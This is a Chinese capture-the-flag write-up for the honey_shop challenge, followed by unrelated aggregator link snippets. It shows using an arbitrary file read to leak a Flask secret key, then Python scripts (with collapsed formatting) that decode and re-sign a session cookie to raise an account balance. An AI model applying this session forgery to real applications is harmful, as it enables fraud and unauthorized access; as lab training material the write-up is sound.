BUU [PASECA2019]honey_shop

BUU [PASECA2019]honey_shop

技术栈:任意文件读取、session伪造

开启靶机,我有1336金币,买flag需要1337金币

image-20240710013541251

点击上面的大图,会直接下载图片

image-20240710013706442

抓包看看,感觉是任意文件读取

image-20240710013742414

修改下路径读一下

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

读到了session密钥是Kv8iQMoBRn0zhY6rgfcXSSbzNJVeY7KfbgsVmVa6

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

现有session解密看看,发现了金额在里面,就是说我们伪造了session,修改了金额就行。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

脚本贴一下:

import base64
import json
import zlibdef decode_flask_cookie(cookie):def base64_decode(input):# 修复Base64字符串长度input += '=' * (-len(input) % 4)return base64.urlsafe_b64decode(input)# 将cookie分成数据部分和签名部分encoded_data = cookie.split('.')[0]# 解码Base64数据data = base64_decode(encoded_data)try:# 尝试解压缩数据data = zlib.decompress(data)except zlib.error:pass  # 如果数据没有压缩,则跳过try:# 尝试解码为UTF-8字符串data = data.decode('utf-8')except UnicodeDecodeError:raise ValueError("Failed to decode session data as UTF-8 string")return json.loads(data)# 示例用法
cookie = "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Zo11Hg.Q7xIJmOPmhsabu4gXmoppnLG9J8"try:decoded_data = decode_flask_cookie(cookie)print(json.dumps(decoded_data, indent=4))
except ValueError as e:print("Error decoding session data", )

拿密钥加密一下,脚本也贴下:

from flask.sessions import SecureCookieSessionInterface
import astclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keydef encrypt_flask_session(secret_key, session_data):"""加密Flask会话数据"""try:app = MockApp(secret_key)session_data = dict(ast.literal_eval(session_data))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_data)except Exception as e:raise Exception(f"[Encoding error] {e}")# 示例用法
session_data = "{'balance': 1339, 'purchases': []}"
secret_key = "Kv8iQMoBRn0zhY6rgfcXSSbzNJVeY7KfbgsVmVa6"  # 替换为Flask应用的实际SECRET_KEYtry:encrypted_cookie = encrypt_flask_session(secret_key, session_data)print(encrypted_cookie)
except Exception as e:print(e)

image-20240710020946980

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/875076.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Springboot validated JSR303校验

1.导入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-validation</artifactId></dependency> 2.测试类 package com.jmj.gulimall.product.testC;import lombok.Data;import javax.val…

C++《类和对象》(中)

一、 类的默认成员函数介绍二、构造函数 构造函数名与类同名内置类型与自定义类型析构函数拷贝构造函数 C《类和对象》(中) 一、 类的默认成员函数介绍 默认成员函数就是⽤⼾没有显式实现&#xff0c;编译器会⾃动⽣成的成员函数称为默认成员函数。 那么我们主要学习的是1&…

Linux环境docker部署Firefox结合内网穿透远程使用浏览器测试

文章目录 前言1. 部署Firefox2. 本地访问Firefox3. Linux安装Cpolar4. 配置Firefox公网地址5. 远程访问Firefox6. 固定Firefox公网地址7. 固定地址访问Firefox 前言 本次实践部署环境为本地Linux环境&#xff0c;使用Docker部署Firefox浏览器后&#xff0c;并结合cpolar内网穿…

手动搭建微型计算机(涉及:CPU、内存、寄存器等)

目录 微型计算机基础元件及作用CPU地址总线数据总线 内存地址总线数据总线内存大小的计算 寄存器先将Z80CPU与TC5517内存相连参考文章 微型计算机基础元件及作用 CPU、内存、I/O CPU 包含地址总线引脚和数据总线引脚。 以Z80CPU为例&#xff1a; 地址总线 地址总线引脚…

Apache Bigtop 正式支持 openEuler,共创大数据新生态

近日&#xff0c;在OpenAtom openEuler&#xff08;简称"openEuler"&#xff09;BigData SIG与Linaro的携手努力下&#xff0c;** Apache Bigtop于2024年7月8日发布的3.3.0新版本中&#xff0c;正式宣告了对openEuler操作系统的原生支持**。这一里程碑式的进展&#…

[微信小程序] css 解决纯数字或字母不自动换行的问题、控制文字行数

效果 css 代码 word-break: break-all; overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical;解释 word-break: break-all; 作用&#xff1a;这个属性允许在单词内部进行换行&#xff0c;即使单词很长也…

Mysql - 索引

目录 一、存储引擎 二、索引 索引结构 索引分类 索引语法 联合索引 前缀索引 索引使用规则 最左前缀法则 范围查询使索引失效 字段做运算操作索引失效 字符串字段不加单引号索引失效 字段做前模糊查询索引失效 or连接条件索引失效 数据发布情况索引失效 指定使用…

AIGC高频产品面试题(二)

什么叫大模型&#xff0c;人工智能大模型是什么&#xff1f; 之前&#xff0c;人工智能大多针对特定的场景应用进行训练&#xff0c;生成的模型难以迁移到其他场景&#xff0c;属于“小模型”的范畴。整个训练过程中&#xff0c;不仅手工调参工作量大&#xff0c;还需要给机器“…

[ECCV 2024] [复旦]RECE:扩散模型概念移除,只需3秒即可充分移除风险概念!

本文内容来自公众号粉丝投稿&#xff0c;作者来自复旦大学的视觉与学习实验室(FVL)。研究团队提出了一种可靠、高效的概念移除方法&#xff08;RECE&#xff09;。该方法以解析解的形式&#xff0c;迭代地进行风险概念移除、风险概念嵌入推导&#xff0c;从而确保模型彻底移除风…

【MySQL进阶之路 | 高级篇】优化数据库结构和大表优化

目录结构&#xff1a; 目录 目录结构&#xff1a; 1. 优化数据库结构 1.1 拆分表&#xff1a;冷热数据分离 1.2 增加冗余字段 1.3 优化数据类型 情况1&#xff1a;对整数类型数据进行优化 情况2&#xff1a;既可以使用文本类型也可以使用整数类型的字段&#xff0c;要选…

LeetCode热题100刷题17:124. 二叉树中的最大路径和、437. 路径总和 III、199. 二叉树的右视图

124. 二叉树中的最大路径和 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullptr), right(nul…

Github 2024-07-17 开源项目日报 Top10

根据Github Trendings的统计,今日(2024-07-17统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量非开发语言项目3Python项目3Rust项目2TypeScript项目2MDX项目1项目化学习 创建周期:2538 天协议类型:MIT LicenseStar数量:161973 个Fork数量…

基于51单片机的指纹红外密码电子锁

基于51单片机的指纹红外密码电子锁 1、系统功能介绍2、演示视频3、系统框图4、系统电路介绍4.1、STC89C52单片机最小系统设计4.2、LCD12864显示屏电路设计4.3、矩阵键盘按键控制部分电路设计4.4、AS608指纹模块电路设计 5、程序设计5.1、LCD12864屏幕初始化5.2、AT24C02存储芯片…

打造直播工具详解:从零开始开发直播美颜SDK

今天&#xff0c;笔者将详细讲解如何从零开始开发一个直播美颜SDK&#xff0c;帮助开发者了解开发过程中的关键环节和技术要点。 一、需求分析与规划 在开发之前&#xff0c;首先需要明确美颜SDK的功能需求。一般来说&#xff0c;美颜SDK应包含以下几个核心&#xff1a; 基础…

【TAROT学习日记】韦特体系塔罗牌学习(7)——恋人 THE LOVERS VI

韦特体系塔罗牌学习&#xff08;7&#xff09;——恋人 THE LOVERS VI 目录 韦特体系塔罗牌学习&#xff08;7&#xff09;——恋人 THE LOVERS VI牌面分析1. 基础信息2. 图片元素 正位牌意1. 关键词/句2.爱情婚姻3. 学业事业4. 人际财富5. 其他象征意 逆位牌意1. 关键词/句2. …

MS17-010漏洞复现+利用

1、 漏洞简述 漏洞名称&#xff1a;“永恒之蓝”漏洞 漏洞编号&#xff1a;MS17-010&#xff0c;CVE-2017-0143/0144/0145/0146/0147/0148 漏洞类型&#xff1a;缓冲区溢出漏洞 漏洞影响&#xff1a;信息泄露 CVSS评分&#xff1a;9.3&#xff08;High&#xff09; 利用难…

食家巷擀面皮:一口惊艳的传统美味

在美食的世界里&#xff0c;总有一些经典让人难以忘怀&#xff0c;食家巷擀面皮便是其中之一。食家巷擀面皮&#xff0c;那一张张薄而有劲道的面皮&#xff0c;宛如艺术品般细腻。它的外观晶莹剔透&#xff0c;散发着诱人的光泽&#xff0c;让人看一眼就忍不住想要品尝。制作擀…

Vue使用FullCalendar实现日历/周历/月历

Vue使用FullCalendar实现日历/周历/月历 需求背景&#xff1a;项目上遇到新需求&#xff0c;要求实现工单以日/周/月历形式展示。而且要求不同工单根据状态显示不同颜色&#xff0c;一个工单内部&#xff0c;需要以不同颜色显示三个阶段。 效果图 日历 周历 月历 安装插件…

MySQL学习——影响选项文件处理的命令行选项

大多数支持选项文件的MySQL程序都处理以下选项。因为这些选项会影响选项文件处理&#xff0c;所以必须在命令行上给出&#xff0c;而不是在选项文件中给出。为了正常工作&#xff0c;这些选项中的每一个都必须在其他选项之前给出&#xff0c;但以下情况除外&#xff1a; 打印默…

力扣第二十五题——K个一组反转链表

内容介绍 给你链表的头节点 head &#xff0c;每 k 个节点一组进行翻转&#xff0c;请你返回修改后的链表。 k 是一个正整数&#xff0c;它的值小于或等于链表的长度。如果节点总数不是 k 的整数倍&#xff0c;那么请将最后剩余的节点保持原有顺序。 你不能只是单纯的改变节点内…